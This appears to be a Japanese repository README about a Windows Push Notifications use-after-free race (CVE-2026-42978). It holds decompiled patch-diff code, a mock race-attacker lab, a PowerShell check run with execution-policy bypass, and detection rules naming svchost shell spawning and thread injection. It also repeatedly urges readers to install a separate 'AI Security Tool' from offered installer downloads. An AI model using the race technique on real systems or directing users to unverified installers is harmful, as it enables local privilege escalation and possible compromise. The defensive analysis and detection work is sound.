
CVE-2026-42978 Windows Push Notifications (WpnService) の Use-After-Free および Race Condition に関するPoC研究、診断スキャナー、ならびにAI Security Tool向けセキュリティ監査モジュール。
CVE-2026-42978
AIセキュリティツール向けWindowsプッシュ通知モジュール
次世代AIセキュリティエコシステム、マルチプロトコルターミナル & 自律エージェントスイート
ウェブサイト · 製品ドキュメント · ホストアプリケーション · コミュニティチャット
ウェブサイトナビゲーション: ホーム · アップデート · ダウンロード · モジュール
製品: AI Security Tool
サイト: zerodayevil.github.io
ドキュメント: https://zerodayevil.github.io/ai-security-tool
このモジュールは、AI Security Tool 向けのレビュー済み解説記事であり、安全チェックプロファイルです。
プロジェクトサイトまたは公式カタログに掲載されているモジュールのみを使用してください。このモジュールは、承認されたアプリケーション内で、自身が所有するか、書面による評価許可を得たエンドポイントに対してのみロードしてください。
このリポジトリは、WpnService に対する武器化されたエクスプロイトを同梱していません。lab/ 配下のラボは、このクラスのバグ(TOCTOU / ダブルフェッチ)を模したスタンドアロンのモックです。実際のプッシュ通知サービスとは通信しません。
まずホストアプリケーションをインストールしてください。その後、Modules → Windows / Local EoP → CVE-2026-42978 からこのモジュールを有効化します。
公式ソースのみ:
CVE-2026-42978 は、Windows プッシュ通知におけるローカル特権昇格です。Microsoft は、適切な同期なしに共有リソースへ同時アクセスする問題(CWE-362)として説明しています。パッチ適用済みと未適用の wpncore.dll の研究により、プラットフォームシャットダウン中の PresentationEndpointFacade におけるuse-after-free レースが明らかになっています。
WpnService はセッション 0 で NT AUTHORITY\SYSTEM(svchost.exe -k netsvcs -p)として実行されます。トースト、タイル、バッジの配信はこのサービスを経由します。このプロセスに対するレースに勝利することは、ローカルマシン上の SYSTEM 問題です。リモートの事前認証不要な DC のバグではありません。
ステータス: 2026年6月10日(Patch Tuesday)に修正済み。このページは防御的研究です。
これは CVE-2026-41089(Netlogon RCE)ではありません。コンポーネント、特権モデル、パッチ日が異なります。
プッシュ通知を搭載するクライアントおよびサーバー SKU。チケットをクローズする前に、MSRC で正確な KB を確認してください。
| ファミリー | 備考 |
|---|---|
| Windows 10 | 1809、21H2、22H2(該当する場合は x86 / x64 / ARM64) |
| Windows 11 | 23H2、24H2、25H2、26H1 |
| Windows Server | 2016 / 2019 / 2022 / 2025(コンポーネントが存在する場合はフルおよび Server Core) |
公開されているサービス情報に基づく目安ビルド(常に MSRC を再確認してください):
このファサードは通知 API 呼び出しをラップし、PresentationEndpointImpl に委譲します。プラットフォームのシャットダウン中に NotificationPlatform オブジェクトが破棄されます。歴史的に、いくつかのファサードメソッドは、シャットダウンフラグや共有ロックを伴わずにプラットフォームポインタを取得していました。もしティアダウンがレースに勝利すると、次の呼び出しはダングリングポインタを使用します。
同じロックとガードのパターンが、49 個の PresentationEndpointFacade::* メソッド全体に適用されました。その下の実装メソッドはそのままにされました。穴はファサードにありました。
wpncore.dll 26100.8521)// PresentationEndpointFacade::ToastUnblockAll — unpatched
long ToastUnblockAll(PresentationEndpointFacade *this) {
NotificationPlatformHandle::Get(this + 0x50);
if (platform == NULL)
Throw_Hr(...);
return PresentationEndpointImpl::UnblockToastsForEachApp(...);
}
wpncore.dll 26100.8655)// PresentationEndpointFacade::ToastUnblockAll — patched
long ToastUnblockAll(PresentationEndpointFacade *this) {
if (Feature_4097557817::IsEnabled()) {
AcquireSRWLockShared(&Wns::s_platformLock);
if (Wns::s_platformShutdown)
Throw_Hr(E_APPLICATION_EXITING);
NotificationPlatformHandle::Get(this + 0x50);
ReleaseSRWLockShared(&Wns::s_platformLock);
}
}
パッチが追加するもの:
AcquireSRWLockShared — リーダー・ライターロック。シャットダウンは排他を取得します。s_platformShutdown — ティアダウンが開始された場合、E_APPLICATION_EXITING で離脱します。unique_storage による RAII 解放。これにより例外パスでもロックが解放されます。Feature_4097557817。reports/ からの PE に関する注記:
.text が 18,432 バイト増加.data が 96 バイト増加(Wns::s_platformLock、Wns::s_platformShutdown)WpnService は SYSTEM です。レースに勝利すると、ダングリング vtable 呼び出しがローカル SYSTEM コード実行に転用される可能性があります。そのステップ — ヒープスプレー、vtable ハイジャック、ペイロード — はここでは対象外です。
このモジュールは、根本原因の理解、パッチ検証、検出のためのものです。
detection/)をラボマシンに収集します。本番の WpnService に対してクラッシュやレースのループを実行しないでください。
authorized operator
│
▼
AI Security Tool → module 42978
│
▼
authorized Windows endpoint
│
├─ patch / wpncore.dll age
└─ SIEM / Sysmon / Event Log notes
lab/ は、ダブルフェッチ / TOCTOU のスタンドアロン C デモです。名前付きパイプと共有メモリを使用します。wpncore.dll をロードせず、WpnService を起動または停止しません。
vulnerable_service.exe — 長さを検証し、スリープし、再び長さを読み取ります。race_attacker.exe — そのウィンドウ中に共有値を反転させます。--patched — ローカル変数への単一フェッチ。同じ攻撃者でもレースはゼロになるはずです。GCC(MinGW)が必要です。lab/ から:
build.bat
ターミナル 1: vulnerable_service.exe
ターミナル 2: race_attacker.exe 5
その後、vulnerable_service.exe --patched と比較します。
detection/etw_wpn_monitor.ps17 つのチェック:
WpnService の状態と PIDwpncore.dll の日付 / ビルド)powershell -ExecutionPolicy Bypass .\detection\etw_wpn_monitor.ps1
detection/sysmon_wpn_race_detect.xmlsysmon64.exe -accepteula -i detection\sysmon_wpn_race_detect.xml
チャネル: Microsoft-Windows-PushNotifications-Platform/Operational
wpncore.dll のビルドがそのブランチの修正済み行と一致svchost -k netsvcs がシェルを起動した場合にアラートetw_wpn_monitor.ps1 が未修正と報告した場合は、2026年6月の更新プログラムをインストールして再チェックしてください。
CVE-2026-42978/
├── README.md
├── LICENSE
├── lab/
│ ├── vulnerable_service.c
│ ├── race_attacker.c
│ └── build.bat
├── detection/
│ ├── etw_wpn_monitor.ps1
│ └── sysmon_wpn_race_detect.xml
└── reports/
├── PE_DIFF_REPORT.txt
└── FUNCTION_DIFF_REPORT.txt
必要なもの: 検出スクリプトには Windows 10/11 · モックラボには MinGW · Sysmon は任意。
この README 内のスクリーンショットは公開画像 URL から読み込まれます。このツリーには保存されていません。
4 modules@ZeroDayEvil@ZeroDayEvil@ZeroDayEvil@ZeroDayVPN2 modules@ZeroDayVPN@ZeroDayEvil2 modules@ZeroDayEvil@ZeroDayVPN役立つ作業:
実際のサービスに対する武器化された WpnService エクスプロイト、ヒープスプレーヘルパー、またはエクスプロイト PoC を追加する PR は開かないでください。
MIT License の下で公開されています。LICENSE を参照してください。
認可された防御的研究およびシステム管理のみ。
書面による許可のないローカル特権昇格テストは違法です。
この脆弱性は修正済みです。Windows を最新の状態に保ってください。このリポジトリには、実際のサービスに対する武器化されたエクスプロイトは含まれていません。
AI Security Tool — サイバーセキュリティ専門家向けのターミナルワークフローと自動化。
zerodayevil.github.io 向けの防御モジュール · スタンドアロンの WpnService エクスプロイトなし · 事実は MSRC で確認してください
| OS / プラットフォーム | バージョン | アーキテクチャ / 形式 | 更新日 | ステータス | ダウンロード |
|---|
| Windows | v6.3.20 | x64 インストーラー (.exe) | 2026-09-08 | 最新 | Download .exe |
| Windows | v6.3.20 | x64 ポータブル (.tar.gz) | 2026-09-08 | 最新 | Download .tar.gz |
| macOS | v5.3.29 | Apple Silicon (.dmg) | 2026-09-05 | 安定版 | Download .dmg |
| Linux | v5.3.27 | ユニバーサル x64 (.tar.gz) | 2026-09-01 | 安定版 | Download .tar.gz |
| Android | v5.3.27 | ARM64 APK (.apk) | 2026-09-01 | 安定版 | Download .apk |
| 項目 | 値 |
|---|
| CVE | CVE-2026-42978 |
| BDU | BDU:2026-08249 |
| ベンダーアドバイザリ | MSRC — Windows Push Notifications EoP |
| 深刻度 | 高 · CVSS 3.1 7.8 |
| 脆弱性の種類 | CWE-362 競合状態 · シャットダウンパスにおける use-after-free |
| コンポーネント | Windows Push Notifications · WpnService · wpncore.dll |
| 攻撃ベクトル | ローカル |
| 必要な特権 | 低(認可されたローカルユーザー) |
| ユーザー操作 | 不要 |
| Patch Tuesday | 2026年6月10日 |
| モジュール種別 | 研究解説 + アプリ内安全チェック + 検出パック |
| ブランチ | 修正済みビルドの目安 |
|---|
| Windows 11 23H2 | 22631.7219 |
| Windows 11 24H2 | 26100.8655 |
| Windows 11 25H2 | 26200.8655 |
| Windows 11 26H1 | 28000.2269 |
wpncore.dll の例(24H2) | 脆弱 26100.8521 → 修正済み 26100.8655 |
| カテゴリ | 関数の例 |
|---|
| Toast | ToastUnblockAll, ToastCreateSession, ToastCloseSession, ToastRequestAllNotifications, ToastSuppress |
| Tile | TileCreateSession, TileCloseSession, TileRequestResourceForeground |
| Registration | RegisterApplication, UnregisterApplication, RegisterHandler, UpdateRegistration |
| Settings | ChangeAppSetting, QueryAppSetting, QueryGlobalSetting |
| Delivery | Deliver, GetPayloadForNotificationId, Submit, PostScheduledNotification |
| Queries | GetRegisteredHandler, GetSettingsFromHandler, GetAssetsFromHandler |
| ルール | 用途 |
|---|
WPN_EoP_ChildProcess | svchost(netsvcs)が cmd / powershell / wscript を起動 |
WPN_PipeAccess | WPN 関連の名前付きパイプへの接続 |
WPN_FileCreation | 通知データディレクトリ配下でのファイル作成 |
WPN_RegistryTampering | PushNotifications キー配下への書き込み |
WPN_ProcessAccess | svchost への PROCESS_ALL_ACCESS |
WPN_ThreadInjection | svchost への CreateRemoteThread |
| CVE | クラス |
|---|
| CVE-2026-42977 | EoP · レース |
| CVE-2026-42978 | EoP · レース(このモジュール) |
| CVE-2026-42979 | EoP · レース |
| CVE-2026-42991 | EoP · レース |
| CVE-2026-42969 | 情報漏えい · レース |
| CVE-2026-42970 | 情報漏えい · レース |
| CVE-2026-42973 | 情報漏えい · レース |
| CVE-2026-26167 | EoP |
| CVE-2026-32160 | EoP |